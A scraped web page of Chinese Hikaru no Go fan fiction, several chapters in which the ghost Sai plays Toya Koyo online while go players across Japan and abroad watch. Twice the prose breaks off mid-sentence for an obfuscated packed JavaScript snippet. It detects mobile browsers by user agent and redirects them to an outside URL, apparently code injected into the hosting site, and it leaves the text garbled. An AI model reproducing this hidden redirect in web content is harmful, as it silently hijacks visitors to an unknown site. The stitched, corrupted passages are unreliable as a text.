亮的脸上浮现出回忆的微笑。 “那时候进藤你居然发现了sai的死角,我真的被吓了一跳呢。” 佐为补充道:“是啊!我也被吓了一跳呢!小光的直觉有时候真的很可怕!虽然偶尔也会下烂棋就是了!” 这个关键词却猛然戳中了光的心脏。 sai的死角……上辈子他在塔矢行洋和佐为对弈过后,指出了sai未能发现的、精妙绝伦的一手,那一刻,佐为明显出现了动摇。当时进藤光还是个小孩,不懂得那份动摇的深层含义。现在想来,应该是从那个瞬间开始,佐为就已经意识到了吧——自己注定将从世界上消失的命运。 传承结束了,因此他的使命也完成了。 幽灵藤原佐为不再需要驻足人世,他可以去与围棋之神尽情地下棋了。这或许是乐观的想法。 但光不愿意。 比起自己继承佐为的意志,他当然更希望佐为能留下来、永远陪着他。最后亲自下出神之一手。 亮不知道为什么光的眼神会突然黯淡下去,他继续收拾着棋盘,腾出空间,让光有地方摆和座间的对局。直到现在,亮也还是未能从震惊的余波里抽身,想到这是进藤与座间的仅差半目的生死较量,他就冷静不下来,双手的动作匆忙而不稳定,而双倍的急躁又让他不得不停下来平复呼吸。 光见状,也帮他一起收拾棋盘上残留的棋子。 “你没事吧?塔矢?” “……我在想,进藤你离sai的距离,可能也没有想象中那么远。既然你都已经能险胜座间王座,恐怕再整理整理状态,运气好的话,就真能与sai一较高下了。” 亮的潜台词似乎在说“即使没有我,你也会追上去”。这听上去也太惨淡了。 光连忙疯狂摇头。 “不会不会!sai比我下得好多了!我赢座间老师也是因为他一开始轻敌而已啦!” 心乱如麻的光偷偷瞄了一眼佐为,又看看塔矢亮的表情,只能“诶嘿嘿”地应和几句。但亮不这样想。 “进藤你的棋力我是很清楚的,就算参加国内的头衔战,也很有可能打进决赛。今天又赢了王座……”亮面不改色地说完,“你确确实实给我出了道大难题……我可是决意要追上你的,偏偏每时每刻你的所作所为都在提醒我,用普通的速度是追不上去的。” 塔矢亮已经强得令人匪夷所思了,进藤光却强得更令人匪夷所思。明明他们都只是12岁的少年而已啊…… 进藤光连忙打断他:“不是说好了以后不准再钻牛角尖的嘛!” “放心,我不是在钻牛角尖。虽然困难重重,但是如果是我的话,绝对会做到——超越你这件事。只是你今天的胜利促使我明白了,我需要把进步的速度提高到双倍才行。不,是三倍。” 亮眯起眼,发起挑战似的看着他。 “这才对嘛!”进藤光有韵律感地点头表示赞同,“我们再多下多下多下几局,你就有机会下赢我啦!” “小光!作为我的弟子,你也要加油追上我才对啊!”佐为趁机鼓励自己身边的孩子。 “我知道啦……” 两人互相扭头揉对方头发的样子十分可爱,可惜亮看不见,他把棋子都整理好了,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这件事还请你不要告诉太多人。”进藤光可不想给自己惹麻烦,“老师他是真的不喜欢被打扰,尤其是……嗯,媒体之类的人……” “放心吧,我口风很严。”至此,塔矢亮已经完全不怀疑他的解释了,“但我还是有一个请求。父亲一直以来都很想和sai对弈,为了实现这个愿望,他常常去网上看sai的对局,也尝试过向sai发出对弈申请,只是不知为何,能同sai对弈的机会还是没有到来。” “塔矢名人……?!” 光一方面松了口气:原来执着于佐为的人不是亮,是亮的父亲;一方面他又格外惊讶,因为那个反感网棋、认为面对面下棋是最基本的尊重的、顽固的塔矢名人,竟然会为了找sai对弈,主动学习如何下网棋?真是闻所未闻! 确实,自从《围棋周刊》登载了几篇sai的专栏、导致佐为名气飙升以来,每次集中在晚饭后时间在网上蹲点等他的人也渐渐多了起来,申请对局的人一多,能抢到和sai对局的机会的人就越是屈指可数。这也是在所难免的情况。光总是需要从一大堆对局申请里仔细挑选,一不小心歪一下鼠标可能就漏掉了其中某个人的消息。 塔矢行洋的申请居然也被他漏掉了吗?! 想到可能产生的乌龙,光抽了抽嘴角,要是真的由于这种缘故而使佐为错过了好几次和塔矢名人的对局机会,他都想抽自己一耳光! 亮还以为自己是被婉拒了,皱着眉头问:“不方便么?” “不不不!方便!当然方便!倒不如说是太方便了!老师也说过他很想和塔矢名人对弈,这样就好办多了!”进藤光连忙摇摇头,赶走脑袋里杂七杂八的想法,“以后你叫塔矢老师直接给sai发邮件约时间吧!我们直接一对一约战就好了!” ●○●○ 50.Chapter 49. 塔矢名人的约战 “邮件?”塔矢亮表示可以接受,“也好,电子邮件应该不会打扰到他……” ——谢天谢地你没有追问为什么不能打电话啊,塔矢……不然我还得编造藤原佐为是个聋哑人的谎话出来,对佐为也太不公平了…… 光冒出一身冷汗。他找到一旁的便条夹,想在上面写字。 “那我给你留个地址吧。” 笔尖落在纸面的一瞬,光却忽然僵住了肌肉,一毫米也移动不了。他莫名感到害怕,怕佐为要是和塔矢行洋下出了那一局,被自己指出了反败为胜的一手的那一局,佐为的时间……就会再次流动起来。 潜意识的恐惧让他无法答应这次对弈。 但是…… “小光,这就是说,以后我可以经常跟塔矢行洋下棋了吗?”佐为水灵灵的大眼睛闪烁着喜极而泣的光芒。 光见他这么高兴,也跟着一起放下了心中仅存的迟疑。无论如何,他都无权剥夺佐为下棋的权利,不能因为他担心佐为消失,就一辈子都不让佐为和塔矢行洋对弈了啊!那样的话,佐为就太可怜了!进藤光重生一次的意义又在哪呢?不是为了让佐为更幸福吗? 于是,光柔和下了目光,说:“没错!不过需要等我有空的时候喔。” “呜呜呜呜……终于……等到这一天了……” 光一边无奈地看着佐为挥洒欣喜的泪水,一边感慨还好在注册围棋网账号的时候顺手填了一个邮箱,不过看来以后这个邮箱自己也绝对不可以随便用了。自从上次被敏锐的久原木子郎发现自己用过sai的账号以来,进藤光就长时间处于害怕秘密暴露的状态之下。 虽然……塔矢他有权得知事情的真相,但是进藤光觉得现在还不是最佳时机。 如果可以的话,一辈子都不要知道那些只属于进藤光的过去发生的事,才是最幸运的。因为那样,他才不会戴着有色眼镜对待自己。 “对了,进藤。” 塔矢亮的呼唤突然将走神的进藤光从游离状态中拉回现实,他急忙回答道:“嗯?” “你也在网上下棋对吧?”亮的疑问很自然,“你的账号呢?下次我可以在网上和你对弈,你就不必天天跑过来了,每天都东奔西走一定很麻烦。” 哇……这种被在意的人要了联系方式的微妙的感觉! “谢谢你为我的钱包考虑,不过我个人还是比较喜欢亲自坐在对手面前下棋。”进藤光十分庆幸他上次注册了个马甲,“只是以防万一的话当然没问题。我叫hikaru,怎么样,相当符合我风格的简单易记的好名字吧?” 佐为嗤嗤地笑着:“小光你啊……真是厚脸皮。明明当初还吐槽直接把真名当成网名的人来着?” “没有的事!”进藤光以不变应万变的功夫早就炉火纯青了,“这也是一半假话一半真话。” 昵称叫hikaru的话,任何人都会第一个想到进藤光,这样很好。作为幌子十分称职。 “确实。”塔矢亮似乎在踌躇着寻找适合的答语,末了还是犹豫着放弃了,“……嗯,其实我的账户也叫akira。” 好吧,光明白为什么亮会停顿那么久了,这样直白到无趣的风格还真是两人的共同点……再算上佐为、塔矢行洋和一柳棋圣的话,真名用作网名的举动也显得不那么奇怪了。难道反而是越强的人越不想在起名字上费功夫? 不过,这样一来,以后网络围棋的事就不需要担心了,光找到了合适的第二重身份,他只要注意别被人发现登陆sai账号的人是自己就行了。 聊完了闲话,两个人开始了今晚的重头戏:对进藤光和座间王座的那局棋的复盘——以及吵架。 一旁的佐为在听到可以和塔矢行洋在网上约战之后,就一直期待着美好的未来,在围棋会所里飘来飘去,不分对象朝着每一个他能看见的人(虽然对方看不见他)放出星星眼,果然是激动得心花怒放了。 他真的把塔矢行洋当成了如今唯一的对手。总算可以让他们对弈了! 一切都会好起来的,他们的梦想最终都会实现——这样相信着,进藤光望向窗外深邃的夜空,不禁沉醉其中。 奇怪的是,那天从塔矢家的围棋会所回家的路上,光注意到佐为一直在发呆。 他停下脚步,环顾四周,却没有找到什么值得驻足观看的东西。 “怎么了?佐为?从刚才开始就有些怪怪的。” “啊,没事,只是好消息来得这么突然,有点兴奋吧……”佐为愣了愣,给出一个明亮的微笑,“先不说这个,小光,下午的时候我和柴田的对弈,你竟然发现我留了一手?” 光惊讶地抬起头:“原来是故意留的么?也是,像佐为你这样厉害的家伙……” 说着说着,他自顾自地笑了起来,仿佛之前的一切不和谐都被敏感的自己所误解。 “不,说是故意倒也不全对,我说过要尽快让他认输,所以棋路也偏向猛攻,攻击之余没有足够的精力应付防御,换句话说,出现漏洞也是一种必然。但我想看的,不是他的态度,而是你的态度,小光。”佐为说话的神态夹杂着喜悦和神奇,“即使是故意露出的漏洞,可那个漏洞痕迹很浅,一般人是无法发现的,我本想以此作为留给小光你的考题。” “留给我的考题?”光指了指自己。 “嗯。没想到你立即就看了出来,还反过来提问给了柴田……小光最近的成长让我相当震惊,从一开始你的实力就已经很不符合外表了,这一点好像也理所当然,但是,今天你的确给了我太多太多的惊喜。” 击败座间只是个开始。佐为有这样一种预感,这头小小的幼狮很快就会茁壮成长、成为横扫沙漠的王者。 “唔……佐为你说得我都不好意思啦……”进藤光有点不敢直视他的目光,伸出一根手指挠挠脸颊,“但是,就算发现了那一步,也只能把局势变回五五,翻盘依旧很困难。” “所以说,你白天出给柴田君的题是不是太难了点?那可是我准备给你的哦?” 进藤光坏心眼地笑着:“谁让那小子那么不知天高地厚。其实如果只是扳回五五的话,职业棋士里应该有不少人有足够的时间就能做到,看他的运气了。再说,我也没说过不允许他问别人嘛……” “还可以问别人?”佐为天然呆地眨巴眨巴双眼,“那不是犯规吗?” “就算是犯规也要去问!能自己想出来当然很好,想不出来的话,想方设法求着别人刨根问底也一定要找出解答,这才是想当职业的人应该有的斗志!”进藤光环抱双手,高声说道,“要做我的对手,哪里是那么简单的事!” 听到这话,佐为用袖子遮住自己的表情。“小光你这么做是不是……有点欺负人了?” “才没有!要是连这点探索欲都没有,还不如叫他尽快知难而退呢!怎么可能追得上我?连塔矢都不行诶!” 进藤光还是一副无所谓的样子。然后他想起了什么似的抬起头。 “不过我今天突然赢了座间老师,会不会吓坏他啊?呜哇,现在我的心脏还是跳得好快……怎么办,我已经等不及要和更多更多有名的棋手对局了!等你和塔矢老师下过之后,我也要和他下一场正经的!然后总有一天,我要追上佐为!” 佐为飞舞着追上不断往前猛冲的光,他是幽灵,能轻松超过人类的速度,“小光你太着急了啦……要追上我,哪里是那么简单的事!” “啊!你学我说话!” “才没有!” “你又学!啊,连动作都一模一样!” 心情正好的进藤光并不曾注意到身旁微笑着的佐为眼角一闪而逝的复杂。 两人并肩而行,消失在夜幕中。 三日后。 从棋院结束手合赛回来,绪方精次并未像往常一样前往塔矢宅。 他今天心里想的事太多,就连路过热带鱼饵料店的时候都没心思转进去看看。 绪方精次一直都不是个爱说话的男人,至少在大多数情况下他会习惯性地维护自己寡言少语的高冷形象,偶尔开口,大抵也都是一针见血式的精炼语句。可是这个习惯终于最近有了松动的迹象。 不久前,塔矢行洋的围棋研究会里出现了一位新人。 塔矢研究会经常换血,这一点绪方自然心里有数,毕竟老师要求十分严格、绝大多数棋手都跟不上节奏。只是这次来的新人非常有来头,是曾经下赢自己的12岁少年,进藤光。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575231|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 绪方在儿童围棋大赛上见这个孩子第一面时,就已经被他的能力所惊艳——虽然外貌看起来只是个和小亮同龄的小孩,棋风却凌厉而不乏内敛,遇到亮发挥失常时,他还会像师长一样引导亮直面内心。听到他要同自己下快棋,绪方微妙地有种被认同的得意,只是没想到那局棋输的会是自己。 出于直觉,绪方开始留意这个进藤光。看到他只输给塔矢行洋三目,绪方竟然觉得有些意料之中,如果不是这种高水平的棋手,根本不值得被他记住。 在研究会讨论时,进藤光脸上挂着的表情常常出卖他那水到渠成的熟练,一言一行都像一位经验丰富的棋士。 随着绪方和这位新人对弈的次数渐渐增多,他内心里的疑惑也渐渐扩大——这样的棋力,真的是一个乳臭未干的小鬼能拥有的吗? 而且,他最不能容忍的是,在年轻一辈的棋士里最具潜力、被认为最可能问鼎下一个头衔的自己,堂堂八段,竟然会一而再、再而三地败给这个“新人”。 输上一两次倒是无可厚非,毕竟围棋的世界里,胜败乃兵家常事,塔矢行洋四冠王都曾多次败给比他低段的棋士;问题在于,起初这位新人除了第一局快棋赢了绪方,后来两人下正常对局进藤光还经常性地吃瘪甚至惨败,到最近胜率却一点一点地举步上升了。 向来多说一句都嫌烦的绪方开始不断地与对方缠斗来推断问题出在哪,追问的内容有时还会不限于围棋,同时sai与他扑朔迷离的关系也让绪方的好奇心水涨船高,研究会里的人都惊讶于“冷静的绪方君”的突然转变。 那个新人的名字叫进藤光,此前完全不曾出现在围棋界的纯新人。毫无疑问正因为如此,他身上的谜团才更令绪方难以释怀。 “啧。” 心下烦闷的他掏出钥匙打开门,正好撞见一个风姿妖娆的长发女人款款而出,手里还半握着一只装有红酒的玻璃高脚杯。 “你回来啦,亲~爱~的。” 绪方扬起半边眉毛,无视女人慵懒的语气,道:“喔……我可不记得什么时候给过你公寓的钥匙。” “别小气嘛。”妖艳的女人从口袋里摸索了一小会,用小拇指拎出一片亮黄色的物质,她知道什么情况下能保证不触及绪方的底线,并且一直做得很完美,“我只是在上次你睡觉时顺便配了一把,喏,想要的话就还给你。” “不用了。反正就算我拿走你也会顺便配一把新的吧。”绪方没什么心情与她纠缠,径直走入屋内,“今天可不可以请你先回去一趟?我有事要办。” “又是围棋?”女人捂嘴笑了笑,“我猜对了?” “还会有别的答案么?” 绪方一脸理所当然地看着她。 散漫的女人收起玩世不恭的态度,莞尔道:“我早该明白的……好,看在钥匙的份上,今天就不麻烦你了。回见,亲~爱~的。” 绪方甚至没有回头去看女人离去的方向,他在对方的脚步声消失前便若无其事地走到电脑桌边,荧幕亮起,不久,就跳转到了曾经登陆过的围棋网的界面。对于他来言,只有一件事今天无论如何都不能错过。 那就是网络棋神sai,与日本棋坛四冠王塔矢行洋的首次公开对局…… 想必他会成为见证历史的诸人之一吧。 “啊?!sai和塔矢名人吗?!” 此时,在塔矢家的围棋会所里,几个大叔正围坐在一起讨论。 “是真的,小亮老师告诉我的,你没发现吗,他为了现场看到他们的对局,今天都没来会所。”一个大叔说。 “这么说来,进藤也没来……果然有问题!”另一个大叔啧啧称奇。 “这件事在网上早就传开了,我一个中国的朋友都听说了,还一个劲地嚷嚷说要观战呢!” “那我们是不是也应该采取点什么行动?” “行动?” “喂,北岛,我记得你家里不是有台电脑吗?我们一起去看对局吧!” “去我家?行呐,我闺女正好白天都不在,咱们一起边喝边聊,看个痛快!” 就在这群大叔们讨论得如火如荼的同时,职业围棋界内部也掀起了轩然大波。 ●○●○ 51.Chapter 50. 塔矢行洋vs藤原佐为 从塔矢研究会传出的对局消息火速延伸到了日本棋院的每一个角落,几乎每个人都听说过网上俯瞰众生的sai,也都对塔矢行洋的实力和严谨程度心知肚明。这二人之间的对局,说起来还真成为了众人一时火爆的话题。 “这群人居然说花五千日元赌塔矢行洋胜……” 进藤光像看着一个白痴一样关掉了某围棋论坛的页面,气呼呼地坐回座椅上。 佐为见状,温和地劝解道:“塔矢名人是顶尖级的棋士,也是我一直以来最期待的对手,他的实力被人认可对我而言是一件好事呀。” “像你这样能放宽心的家伙,还真是少见。” 进藤光似是在揶揄。 “我没有在说谎哦!”一本正经的佐为纠正他的说法。 “知道啦,佐为从来不会说假话的嘛。” 不知为何,进藤光打心底里羡慕着佐为的单纯。身为幽灵的佐为,即时永远不说谎也没有关系,不会有人逼问他,亦不会有人怀疑他。 只是,这样的坦率也稍微有点寂寞吧。 无奈地摇摇头,进藤光转回电脑前时,屏幕上突然多出了一个用户名,toya koyo。他们约定的时刻终于到来了,光下意识地握紧了自己手中的折扇,他就算不用回头也知道佐为此时凝重的表情。这般严阵以待的阵势,他从前也见过一次。 没错,正是多年以前,佐为以sai的身份第一次和塔矢行洋对局的时候。 那时的进藤光还只是个成长中的新初段,藤原佐为的存在也不似现在这样被如此多的围棋爱好者知晓,同样的,进藤光生命中的一切都与眼前的事物或多或少有着不同。当初的满腔热血也渐渐沉淀为内心对安宁的渴望,只希望能保持现状,便再幸运不过。 等待着他的,会是怎样的对局呢? “佐为,要上了哦。” 进藤光好像感觉到了自己身体里的细胞在颤抖,他不愿正视佐为充满战意的眼角,害怕自己被自己的过去所吞噬。 同时,也是害怕被佐为令人窒息的热情所吞噬。 “我知道。” 佐为深深地望着电脑的方向,轻轻闭上双眼,将心中的激荡抚平。 ——来吧,塔矢行洋!这是我们真正的一对一对弈! 此刻,塔矢家。塔矢亮正不安地在起居室里踱着小步。注意到这一点的明子体贴地放下手中的杂志,抬头对儿子微微一笑。 “小亮,你要是呆不住,就去绪方先生家里看看吧。” 塔矢亮一脸错愕:“诶?绪方先生家吗?” “你父亲今天不是有网上的对局吗,他下起棋来谁都不许打扰,就算你坐在这儿也没有任何意义,想看棋局直接去其他的地方反而比较方便呢。”明子点点头,道。 毕竟塔矢家只有一台电脑。塔矢亮恍然大悟地睁大眼,为自己的考虑不当而后悔中。 “是啊,我怎么没想到这一点……那我走了,母亲。” 于是,绪方的家里又多了一个观看者。 这位不速之客揣着一张彬彬有礼的笑脸站在自家门外时,绪方扬起半边眉毛,最终还是没有说什么多余的话,侧过身子示意他进屋。 “我早该知道你会来的。” 绪方嘴里叼着一根香烟,看见亮的到来只好恋恋不舍地掐灭了它。由于看起来是因为心绪不宁才点燃的,这支烟还没抽到一半。 “不好意思,突然前来打扰……”略微尴尬的亮依旧用笑容化解紧张的气氛。 “那副客套的表情还是算了吧,对局就要开始了,快过来。” 他们一起走到电脑旁边时,棋盘的正中央恰好落下第一枚棋子,执黑的是塔矢行洋,这次他的第一手落在了十七之4,小目。 “小目……”亮微眯双眼,“从开局的方法来看并不是父亲最喜欢的一种,不过,如果理解为向sai示意的话倒是说得过去。说不定,今天的父亲是真的想要挑战过去的自己。” 绪方只是一言不发地盯着荧屏,他感受到了暴风雨来临的前兆。 唯有真正超越极限的强手,才能诞生如此可怕的气势。即使真实的“人”并未出现在面前,他也被莫名的紧张束缚住了手脚。 随即,sai一步单关挂角。 塔矢行洋再出小目。 “嗯?” 网络对局开始得无声无息,但才过不久,马上就有人注意到了这次约战。以sai如今的名气,这再正常不过,他可是全世界都传得沸沸扬扬的网络棋神,无数网民盯着他调查,却无从得知他的真实身份。sai只要上线,一定引起瞩目,而对手的名字,只要是懂日语的一眼就能看出——toya koyo,不就是当今日本棋坛的王者,塔矢行洋吗?! 一直密切关注sai动态的久原木子郎就是其中一人。 他看到围棋网置顶的窗口,手里的蛋糕都啪嗒掉在桌上。 “吓……什么时候开始的?!进藤这个家伙,居然瞒着我跟塔矢行洋对局!把我这个金牌教练的脸面置于何地——” 棋盘前的光打了个喷嚏。 他平复了一下心情。棋局还在继续。 sai继续单关挂角,塔矢行洋依旧小目。 终于,在第六手时,sai开始了左上角的进攻。 而这时,几乎所有对网棋有所关注的网民都接二连三地传递着消息:那个sai又上线了,对手是日本棋坛的巅峰四冠王、塔矢行洋。 “该不会是假冒的吧?塔矢名人怎么可能上网下棋!他可是元老啊!”中国的杨海一把靠在沙发里,举起电话抱怨道,“骗我是小狗?好,等我去探探虚实。” “威廉!威廉!你看这个!”欧洲的网友们也是一样的反应。 连韩国的洪秀英也注意到了这局棋。他路过沙龙,就被老朋友拽了进去。 “……日本人的对局,我不感兴趣。”他眼中闪过轻蔑,“他们已经落后于时代了。还不如看中国人下棋。” 棋院的媒体部也第一时间接到久原的消息,纷纷打开电脑。 “啊?他们下得好快,对面真的是职业棋手吗?” “塔矢老师今天是什么行程?” “没有安排。” “难道真的是他本人在下……?早点跟棋院说一声,我们可以安排人过去专访的!sai和塔矢行洋的对决,怎么可以没有实况转播?!” 嘈杂的讨论渐渐在棋院席卷,显然,今天他们是不可能安安静静地度过了。 被无数人在意的进藤光此刻却心无旁骛,他关闭了一切与外界的联络,专心下棋。 “佐为……” 今天的佐为,有点奇怪。 局势一直平分秋色,守在电脑前的进藤光能够通过对佐为思考时间的长短来体会他的用意,然而这次的开局实在太过流利,时间短促到几乎毫无赘余,根本不像是一场高手与高手之间的顶尖对决。 还是说明,双方都对对方的棋路熟悉到一定程度,使他们预料到了这样的开局呢? 行至三十二手,sai的白棋一记小飞突然打破了之前维持的平衡。 “这一手……” 在青年棋士研究会看比赛的芦原露出了惊讶的表情,周围几个年轻的棋士也好奇地凑了过来。他们原本只是在打循环赛,结果芦原忽然闯进房间说是要借电脑一用,这才使得众人偶然地全部成为棋局旁观者。 “要开始了吗?” “总觉得……这个下法似乎有难处……” “难处?我不认为这样做有什么不对,只是后续发展会有点考验棋士的应变能力而已嘛。” “就是这样才有难处啊!” “铃木,如果你还想用那种中庸到平庸的办法下棋的话,绝对不可能有什么大的进步!” “你这话也未免说得太绝了一点吧。你怎么看,芦原君?……芦原君?” 众人的讨论正火热,默默思索着的芦原弘幸直到被叫名字才从自己的思考里跳脱出来。 “……啊,嗯。依我看,大模样的作战确实是很富有挑战性,但是sai的这一手未免幅度太宽,不知会不会因此而连累其他区域……” 事实证明,芦原的判断有一定道理。进藤光也有些担心地注视着棋盘。 他知道佐为这样做绝不是一时兴起,在那些彻夜研究棋谱的日子里,佐为早就吃透了塔矢行洋的行棋方式,身为离佐为最近的人,光是最清楚的,佐为有信心将摇摇欲坠的局面以平稳的方式持续下去,并且展开为最壮观的战斗。 不过,那些棋谱上所记录的,是以前的塔矢行洋。至于如今的他们各是什么样子,双方都没有办法做出保证,更没有办法依靠危险的赌博来取胜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582361|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>黑方的塔矢行洋好像完全没有受到影响,也没有犹豫太长时间,便离开了这块领域,开始转战新的场所。 “绪方先生,我想听听您的看法。” 在很长一段时间的沉默之后,塔矢亮突如其来的请教反而让毫无准备的绪方受惊不小。 “看法?” “今天的sai,一直在走险棋对吧。刚刚这一手分断也是,其实并没有十足的必要性,他却补了一手,您觉得他这样做有什么理由?” 绪方收回自己的目光:“你认为没有十足的必要性?” 亮并不意外他的反应:“是的。” “可是对方是塔矢行洋。” 绪方简简单单的一句话里蕴含了巨大的信息量。因为他是塔矢行洋,所以再完美的局也可能想出破解的方法,再小的疏漏也可能被攻破,千里之堤、毁于蚁穴。 同样的,能够猜测到对方可能想出破解的方法的sai,也拥有着亲自破解这难题的力量。 塔矢亮再次陷入了沉默。 正在棋盘前奋战的二人都比自己强过太多,他只是观看就有些心有余而力不足,无法做出更多的分析和判断。看来明天的研究会可以上演一场争论谁对谁错的好戏了,尤其是,能听到进藤光如何评价自己的两个老师之间的对抗——他忍不住这样想。 与此同时,东京都的另一隅。 天色转阴,浓密的乌云缓缓地侵蚀着阳光,空中到处飘浮着浑浊不安的气味,棕发少年唉声叹气地拍着自己的头发,推开家门。 “我回来了!” “欢迎回来,义高。就要下雨了,待会记得把二楼的窗户都关上哦。”主妇一边收拾晾晒在窗口的衣服,一边叮嘱。 “知道啦。” 少年有气无力地应道,随即,他迈上了通往二楼的楼梯,来到自己的房间。 “伊角也真是的,居然真给那个小子赔不是……可恶!” 和谷义高一脸不爽地嘟囔着,今天在棋院做练习的时候,他和伊角点评了几句真柴的棋,没想到那个白痴竟然不高兴了,还强词夺理地要求他们向他道歉。结果脾性温和的伊角慎一郎大好人当然和颜悦色地说了好长一串对不起,真柴却只是一副爱理不理的样子,看得和谷怒火中烧。 踢开门边挡路的几本漫画,他衰颓地躺进电脑前的软椅里。 “好累……” 这时,楼下突然传来了貌似来自于伊角的声音。 “和谷!你在吗?” “诶?诶诶?”和谷震惊地一个翻身跳起来,窗外站着的确实是刚刚道别不久的伊角,正气喘吁吁地朝他挥手。 “伊角?出什么事了吗?”和谷感觉自己的脑袋塞满了问号。 “快……快打开电脑……”伊角平复了一下呼吸,才继续高声喊道,“现在sai和塔矢行洋正在网上对局!我们说不定还能赶得上后半部分!” “……啥?!” 这还真是个比他们被真柴欺负更加值得计入和谷氏日记的大事件。不知为何,第一时间听到这个消息的时候,和谷脑海中冒出的竟然是这句话。 “一连三个小目开局,名人还真有意思。” 此时,日本棋院的一间办公室里,以桑原本因坊为首的一群棋士正围坐在电脑旁,津津有味地观赏着对局。当然,敢主动发话的人始终只有资历最高也最接近塔矢行洋实力的桑原一人而已。 “桑原老师,您认为哪方会赢?” 一个胆大的年轻棋士忍不住问道。桑原用他标志性的睁一只眼闭一只眼的姿态斜视着问话者,片刻,发出令人略微毛骨悚然的笑声。 “呵……呵……呵……五五吧,双方的实力都不是摆设,老夫可是相当期待这场对局啊。” “是……” 他们将注意力再度转移回棋盘上。 “黑棋已经取了四角,白棋这形势……实在难说。” “老夫倒是觉得,白如何围上边和中央的大空才是好戏。”桑原意味深长地点评着,明明脸上一直挂着漫不经心的表情,对棋局的理解却比他们在场的任何一个人都要透彻。 很不容易掌控的局面……不过,对于sai而言,越是难以掌控的局面,越是富有戏剧性和挑战性也说不定。到了最后的关头,往往是最不容易掌控的局面决定微小的胜负。 ●○●○ 52.Chapter 51. 世界名局的诞生 随后,黑63手尖,白抓住出击点,开始进攻接近中腹的黑棋,黑压,白竟然采取了在左上方靠的方式来转移战线。 “这……” 和谷被白棋毫无预兆的跳跃弄迷糊了,明明应该组织黑棋的包围,sai的行动在他看来实在有些不合常理。 “伊角,这是……”和谷疑问地望向身边沉思中的伊角慎一郎,想从他的口中寻找到一丝线索。 伊角在院生里名列前茅的次数多到和谷都快数不清,和谷想不出来的问题,也许对方可以知道答案——也许是因为不甘心,他望向伊角的时候,又有一点点希望伊角能够摇头。 “……不,仔细看,和谷。”伊角比平时兴奋得多的声音透露出了他的情感,“这是绝佳的时机。在流动的棋局里,在这种地方寻求调子,待机掌控局面的主动权……sai他并不是在后退,恰恰相反,他一直在棋局的前方力图控制全局!” “前方?!” “嗯,不过塔矢名人也不是那么好对付的对手,他的每一步也走得很扎实,想找到漏洞的可能性实在太低。”伊角点了点头。 “我同意。名人到目前为止的棋都非常稳健,而且有些地方的陷阱也布置得很巧妙,要不是sai及时发现,恐怕局势会一边倒吧……”和谷严肃地转回屏幕的方向,“所以现在sai的情况还是不能算脱离危险。塔矢名人接下去的应手才是决定他这一步棋是否有意义的关键点。你怎么想?” 老练的伊角没有做出更多推测:“我们等等看吧,名人的动作。” 结果,形势果然变得分外凶险。 “——诶?” 光按照佐为的指示下完第70手后,敏锐地捕捉到了一股不和谐的气息。 白棋下在这里……倒不如在右侧先并,黑棋巩固阵势,白棋再小飞扩大中央等待战机更加有力啊…… 脑海中纠缠着许许多多的想法,光神色复杂地注视着佐为,全神贯注的佐为并没有注意到他探究的目光。不过,光放低视线便发现,佐为手中的折扇突然握紧了。 果然他也意识到了,刚刚那一步并不算完美。 同样的困惑席卷了所有的观棋者。 “什么?黑棋竟然占优了?果然白刚刚的冒险举动还是比不过老道的塔矢名人吗……” “不,白还有得下,黑棋的优势并不明显,接下去白若能摆脱桎梏,或许……” “我认为白的下法并没有错,我一定也会做出和他一样的判断。” 他们七嘴八舌地发表着各自的见解。 那是随便的一手吗?应该不是,但的确有商榷的余地。说不定棋局会以此为契机直线崩盘。 不过,很快,局势再度逆转了。 仿佛是由于先前的得利,黑棋的塔矢行洋占据优势,反而削弱了他的攻势——正确的形势判断恰恰束缚了自己,这句话在他的身上得到了充分的体现。 与无论如何都想寻求激战的佐为不同,塔矢行洋的求胜之心偏向温和,差距竟逐渐缩小。 黑失去机会之后,白迅速作出反应,胜负之谜再度拉长。 “这局棋……果真激烈……” 亮始终维持着同一个姿势,目光紧紧粘着在荧屏上,片刻也不敢松开,直到手臂隐隐发麻。 没错,父亲和sai确实是棋力相当,先是黑步步为营,白险中求胜,后是白看似失足,却使得黑动弹不得……这样焦灼的局势实在看得人心惊胆战。 他感到自己要超越的对象实在太过强大了,这样一想,耳边不知为何响起了进藤光的话语。 ——我不会等你,所以你觉得追不上我,那是很正常的事!但那只是幻觉,不是现实!我之所以进步得更快更强,是为了让你也进步得更快更强!因为只有我打破他们认为的上限,你才更有理由超越我!不管他们怎么说,在我心中,塔矢亮就是最有资格当我对手的围棋天才! 那个时候,被畏惧压迫着的自己,好像被进藤光给教训了一顿。 不过,出乎意料地,亮的心里没有产生任何芥蒂。进藤光的话一针见血,虽然刺痛,却也一语惊醒梦中人。其实明明是非常简单的道理,直到被提醒之前,他都无意识地忽略了。 要追上去。追上进藤光,然后和他一起追上sai。亮的世界里只能重复这句话,然后,他的眼中流露出凌厉挣扎的光芒…… 棋盘上的战斗还在进行,黑棋105手至113手,采用了漂亮的封锁弃子战略,再次夺得局部的优势。 